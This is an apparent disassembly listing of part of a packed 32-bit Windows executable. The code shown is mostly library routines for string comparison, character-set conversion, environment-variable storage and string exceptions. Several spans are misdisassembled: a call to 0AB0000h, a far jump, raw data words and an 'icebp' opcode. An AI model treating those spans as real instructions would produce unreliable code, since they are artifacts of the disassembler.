; ---------------------------------------------------------------------------


loc_41C075:				; CODE XREF: sub_41C068+7j
		push	dword_463FE4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_464204
		call	sub_41C115
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41C0A2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C0A2:				; CODE XREF: sub_41C068+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41C068	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0A7	proc near		; CODE XREF: sub_41BCD9+1Ep
					; sub_41C392+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_462BF4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41C108
		mov	ebx, dword_41D12C


loc_41C0C0:				; CODE XREF: sub_41C0A7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_41D12C
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41C110
		push	ebp
		call	sub_41279F
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41C110
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_41D12C
		test	eax, eax
		jz	short loc_41C110
		push	edi
		push	[esp+18h+var_4]
		call	sub_41C392
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41C0C0


loc_41C108:				; CODE XREF: sub_41C0A7+11j
		xor	eax, eax


loc_41C10A:				; CODE XREF: sub_41C0A7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C110:				; CODE XREF: sub_41C0A7+29j
					; sub_41C0A7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C10A
sub_41C0A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C115	proc near		; CODE XREF: sub_41C068+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41DC18
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_462EA8, ebx
		push	1
		pop	edi
		jnz	short loc_41C188
		push	edi
		mov	eax, offset dword_41D868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41D008	; CompareStringW
		test	eax, eax
		jz	short loc_41C165
		mov	dword_462EA8, edi
		jmp	short loc_41C188
; ---------------------------------------------------------------------------


loc_41C165:				; CODE XREF: sub_41C115+46j
		push	edi
		mov	eax, offset dword_432704
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41D00C	; CompareStringA
		test	eax, eax
		jz	loc_41C37E
		mov	dword_462EA8, 2


loc_41C188:				; CODE XREF: sub_41C115+31j
					; sub_41C115+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41C19F
		push	esi
		push	[ebp+arg_8]
		call	sub_418865
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41C19F:				; CODE XREF: sub_41C115+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41C1B4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_418865
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41C1B4:				; CODE XREF: sub_41C115+8Dj
		mov	eax, dword_462EA8
		cmp	eax, 2
		jnz	short loc_41C1D9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D00C	; CompareStringA
		jmp	loc_41C380
; ---------------------------------------------------------------------------


loc_41C1D9:				; CODE XREF: sub_41C115+A7j
		cmp	eax, edi
		jnz	loc_41C37E
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41C1EE
		mov	eax, dword_462C68
		mov	[ebp+arg_18], eax


loc_41C1EE:				; CODE XREF: sub_41C115+CFj
		cmp	esi, ebx
		jz	short loc_41C1FB
		cmp	[ebp+arg_14], ebx
		jnz	loc_41C293


loc_41C1FB:				; CODE XREF: sub_41C115+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41C208


loc_41C200:				; CODE XREF: sub_41C115+16Dj
		push	2


loc_41C202:				; CODE XREF: sub_41C115+146j
		pop	eax
		jmp	loc_41C380
; ---------------------------------------------------------------------------


loc_41C208:				; CODE XREF: sub_41C115+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41C214


loc_41C20D:				; CODE XREF: sub_41C115+151j
					; sub_41C115+159j ...
		mov	eax, edi
		jmp	loc_41C380
; ---------------------------------------------------------------------------


loc_41C214:				; CODE XREF: sub_41C115+F6j
		cmp	esi, edi
		jg	short loc_41C259
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0AB0000h
		jmp	far ptr	151h:840FC085h
; ---------------------------------------------------------------------------
		align 4
		dd 7EF33B00h, 0C47D832Ch, 8D227202h, 5D38CA45h,	8A1A74CAh
		dd 0D33A0150h, 4D8B1374h, 3A098A10h, 3A047208h,	40AD76CAh
		dd 75183840h
		db 0E6h
; ---------------------------------------------------------------------------


loc_41C259:				; CODE XREF: sub_41C115+101j
		push	3
		jmp	short loc_41C202
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_14], ebx
		jle	short loc_41C293
		cmp	[ebp+var_3C], 2
		jb	short loc_41C20D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41C20D


loc_41C270:				; CODE XREF: sub_41C115+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41C20D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41C288
		cmp	cl, dl
		jbe	loc_41C200


loc_41C288:				; CODE XREF: sub_41C115+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41C270
		jmp	loc_41C20D
; ---------------------------------------------------------------------------


loc_41C293:				; CODE XREF: sub_41C115+E0j
					; sub_41C115+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_41D130	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41C37E
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_412770
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C2E2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41C2E2:				; CODE XREF: sub_41C115+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41C37E
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_41D130
		call	esi ; dword_41D130
		test	eax, eax
		jz	short loc_41C37E
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_41D130
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41C37E
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_412770
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C34D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41C34D:				; CODE XREF: sub_41C115+224j
		cmp	edi, ebx
		jz	short loc_41C37E
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_41D130	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41C37E
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D008	; CompareStringW
		jmp	short loc_41C380
; ---------------------------------------------------------------------------


loc_41C37E:				; CODE XREF: sub_41C115+63j
					; sub_41C115+C6j ...
		xor	eax, eax


loc_41C380:				; CODE XREF: sub_41C115+BFj
					; sub_41C115+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C115	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C392	proc near		; CODE XREF: sub_41C0A7+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41C3F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41C5D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41C3F6
		cmp	[ebp+arg_0], esi
		jz	short loc_41C3F6
		mov	eax, dword_462BEC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_462BF0
		jnz	short loc_41C3DC
		push	eax
		call	sub_41C571
		pop	ecx
		mov	dword_462BEC, eax


loc_41C3DC:				; CODE XREF: sub_41C392+3Cj
		cmp	eax, edi
		jnz	short loc_41C434
		cmp	[ebp+arg_4], edi
		jz	short loc_41C3FE
		cmp	dword_462BF4, edi
		jz	short loc_41C3FE
		call	sub_41C0A7
		test	eax, eax
		jz	short loc_41C434


loc_41C3F6:				; CODE XREF: sub_41C392+Dj
					; sub_41C392+22j ...
		or	eax, 0FFFFFFFFh


loc_41C3F9:				; CODE XREF: sub_41C392+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C3FE:				; CODE XREF: sub_41C392+51j
					; sub_41C392+59j
		cmp	ebx, edi
		jnz	loc_41C512
		push	4
		call	sub_41279F
		cmp	eax, edi
		pop	ecx
		mov	dword_462BEC, eax
		jz	short loc_41C3F6
		mov	[eax], edi
		cmp	dword_462BF4, edi
		jnz	short loc_41C434
		push	4
		call	sub_41279F
		cmp	eax, edi
		pop	ecx
		mov	dword_462BF4, eax
		jz	short loc_41C3F6
		mov	[eax], edi


loc_41C434:				; CODE XREF: sub_41C392+4Cj
					; sub_41C392+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_462BEC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C519
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41C494
		cmp	dword ptr [edi], 0
		jz	short loc_41C494
		test	ebx, ebx
		jz	short loc_41C48C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_412813
		pop	ecx


loc_41C466:				; CODE XREF: sub_41C392+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41C476
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41C466
; ---------------------------------------------------------------------------


loc_41C476:				; CODE XREF: sub_41C392+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_413D8F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41C4C6
		jmp	short loc_41C4C1
; ---------------------------------------------------------------------------


loc_41C48C:				; CODE XREF: sub_41C392+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41C4C6
; ---------------------------------------------------------------------------


loc_41C494:				; CODE XREF: sub_41C392+BDj
					; sub_41C392+C2j
		test	ebx, ebx
		jnz	short loc_41C512
		test	esi, esi
		jge	short loc_41C49E
		neg	esi


loc_41C49E:				; CODE XREF: sub_41C392+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_413D8F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41C3F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41C4C1:				; CODE XREF: sub_41C392+F8j
		mov	dword_462BEC, eax


loc_41C4C6:				; CODE XREF: sub_41C392+F6j
					; sub_41C392+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41C512
		push	[ebp+arg_0]
		call	sub_4126F0
		inc	eax
		inc	eax
		push	eax
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41C512
		push	[ebp+arg_0]
		push	esi
		call	sub_412600
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0AB0000h
		icebp
		push	esi
		call	sub_412813
		pop	ecx


loc_41C512:				; CODE XREF: sub_41C392+6Ej
					; sub_41C392+104j ...
		xor	eax, eax
		jmp	loc_41C3F9
sub_41C392	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C519	proc near		; CODE XREF: sub_41C392+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_462BEC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C554
		mov	edi, [esp+8+arg_4]


loc_41C52B:				; CODE XREF: sub_41C519+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41C068
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C54A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41C564
		test	al, al
		jz	short loc_41C564


loc_41C54A:				; CODE XREF: sub_41C519+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41C52B


loc_41C554:				; CODE XREF: sub_41C519+Cj
		mov	eax, esi
		sub	eax, dword_462BEC
		sar	eax, 2
		neg	eax


loc_41C561:				; CODE XREF: sub_41C519+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C564:				; CODE XREF: sub_41C519+2Bj
					; sub_41C519+2Fj
		mov	eax, esi
		sub	eax, dword_462BEC
		sar	eax, 2
		jmp	short loc_41C561
sub_41C519	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C571	proc near		; CODE XREF: sub_41C392+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41C580
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C580:				; CODE XREF: sub_41C571+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41C592


loc_41C588:				; CODE XREF: sub_41C571+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41C588


loc_41C592:				; CODE XREF: sub_41C571+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41C5B3
		push	9
		call	sub_4144BE
		pop	ecx


loc_41C5B3:				; CODE XREF: sub_41C571+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41C5B7:				; CODE XREF: sub_41C571+5Bj
		test	eax, eax
		jz	short loc_41C5CE
		push	eax
		add	ebx, 4
		call	sub_41C64B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41C5B7
; ---------------------------------------------------------------------------


loc_41C5CE:				; CODE XREF: sub_41C571+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41C571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5D8	proc near		; CODE XREF: sub_41C392+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_463FFC, 0
		jnz	short loc_41C5F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414140
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C5D8+Aj
		mov	ecx, [ebp+arg_0]


loc_41C5F6:				; CODE XREF: sub_41C5D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41C639
		movzx	edx, al
		test	byte_464101[edx], 4
		jz	short loc_41C625
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41C630
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41C634
		jmp	short loc_41C62D
; ---------------------------------------------------------------------------


loc_41C625:				; CODE XREF: sub_41C5D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41C639


loc_41C62D:				; CODE XREF: sub_41C5D8+4Bj
		inc	ecx
		jmp	short loc_41C5F6
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C5D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C634:				; CODE XREF: sub_41C5D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C639:				; CODE XREF: sub_41C5D8+25j
					; sub_41C5D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41C5D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C64B	proc near		; CODE XREF: sub_40787E+21p
					; sub_41C571+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41C672
		push	esi
		call	sub_4126F0
		inc	eax
		push	eax
		call	sub_41279F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41C672
		push	esi
		push	eax
		call	sub_412600
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C672:				; CODE XREF: sub_41C64B+7j
					; sub_41C64B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41C64B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C680	proc near		; CODE XREF: sub_4034C7+15p
					; sub_403520+15p ...
		mov	eax, offset loc_41CB70
		call	sub_412E30
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_4036CA
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_4126F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403706
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41C6DA
		lea	eax, [ebp-3Ch]
		push	offset dword_41DF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41DC34
		call	sub_41CAD9
		pop	esi
sub_41C680	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C6DA	proc near		; CODE XREF: sub_41C680+3Fp
					; sub_41C8AC+3Fp
		mov	eax, offset loc_41CB84
		call	sub_412E30
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_432708
		call	sub_41C9FE
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_4036CA
		push	dword_41D240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_403577
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41DC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41C6DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C73E	proc near		; DATA XREF: .nsp0:0041DC38o
					; .nsp0:0041DC58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41C74A
		mov	eax, offset dword_41D250

locret_41C74A:				; CODE XREF: sub_41C73E+5j
		retn
sub_41C73E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C74B	proc near		; DATA XREF: .nsp0:0041DC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41C7C1
		lea	eax, [ebp+var_1C]
		push	offset dword_41DFE8
		push	eax
		call	sub_41CAD9
sub_41C74B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C768	proc near		; CODE XREF: .nsp0:0041C7A8p
					; DATA XREF: .nsp0:0041DFECo
		mov	eax, offset loc_41CB98
		call	sub_412E30
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41CA85
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C768	endp

; ---------------------------------------------------------------------------


loc_41C7A5:				; DATA XREF: .nsp0:off_41DC54o
		push	esi
		mov	esi, ecx
		call	sub_41C768
		test	byte ptr [esp+8], 1
		jz	short loc_41C7BB
		push	esi
		call	sub_412E4F
		pop	ecx


loc_41C7BB:				; CODE XREF: .nsp0:0041C7B2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41C7C1	proc near		; CODE XREF: sub_41C74B+Ap
					; sub_41C894+7p ...
		mov	eax, offset loc_41CBAC
		call	sub_412E30
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41CA3B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_4036CA
		push	dword_41D240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_403577
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41DC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41C7C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C81E	proc near		; CODE XREF: sub_41C85B+20p
					; DATA XREF: .nsp0:0041DF7Co
		mov	eax, offset loc_41CBC0
		call	sub_412E30
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41CA85
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C81E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C85B	proc near		; DATA XREF: .nsp0:0041DC3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41C894
		lea	eax, [ebp+var_1C]
		push	offset dword_41DF78
		push	eax
		call	sub_41CAD9


loc_41C878:				; DATA XREF: .nsp0:off_41DC34o
		push	esi
		mov	esi, ecx
		call	sub_41C81E
		test	[esp+20h+var_18], 1
		jz	short loc_41C88E
		push	esi
		call	sub_412E4F
		pop	ecx


loc_41C88E:				; CODE XREF: sub_41C85B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41C85B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C894	proc near		; CODE XREF: sub_41C85B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41C7C1
		mov	dword ptr [esi], offset	off_41DC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41C894	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8AC	proc near		; CODE XREF: sub_403577+13p
					; sub_40373B+Ep
		mov	eax, offset loc_41CBD4
		call	sub_412E30
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_4036CA
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_4126F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403706
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41C6DA
		lea	eax, [ebp-3Ch]
		push	offset dword_41E0A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41DC64
		call	sub_41CAD9
		pop	esi
sub_41C8AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C906	proc near		; CODE XREF: sub_41C943+20p
					; DATA XREF: .nsp0:0041E0A4o
		mov	eax, offset loc_41CBE8
		call	sub_412E30
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41CA85
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C943	proc near		; DATA XREF: .nsp0:0041DC6Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41C97C
		lea	eax, [ebp+var_1C]
		push	offset dword_41E0A0
		push	eax
		call	sub_41CAD9


loc_41C960:				; DATA XREF: .nsp0:off_41DC64o
		push	esi
		mov	esi, ecx
		call	sub_41C906
		test	[esp+20h+var_18], 1
		jz	short loc_41C976
		push	esi
		call	sub_412E4F
		pop	ecx


loc_41C976:				; CODE XREF: sub_41C943+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41C943	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C97C	proc near		; CODE XREF: sub_41C943+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41C7C1
		mov	dword ptr [esi], offset	off_41DC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41C97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C994	proc near		; DATA XREF: .nsp0:0041F008o

; FUNCTION CHUNK AT 0041C9CA SIZE 0000000C BYTES

		test	byte_462EAC, 1
		jnz	short loc_41C9A4
		or	byte_462EAC, 1


loc_41C9A4:				; CODE XREF: sub_41C994+7j
		call	sub_41C9BE
		test	byte_464238, 1
		jnz	short loc_41C9B9
		or	byte_464238, 1


loc_41C9B9:				; CODE XREF: sub_41C994+1Cj
		jmp	loc_41C9CA
sub_41C994	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9BE	proc near		; CODE XREF: sub_41C994:loc_41C9A4p
		push	offset nullsub_1
		call	sub_413210
		pop	ecx
		retn
sub_41C9BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C994


loc_41C9CA:				; CODE XREF: sub_41C994:loc_41C9B9j
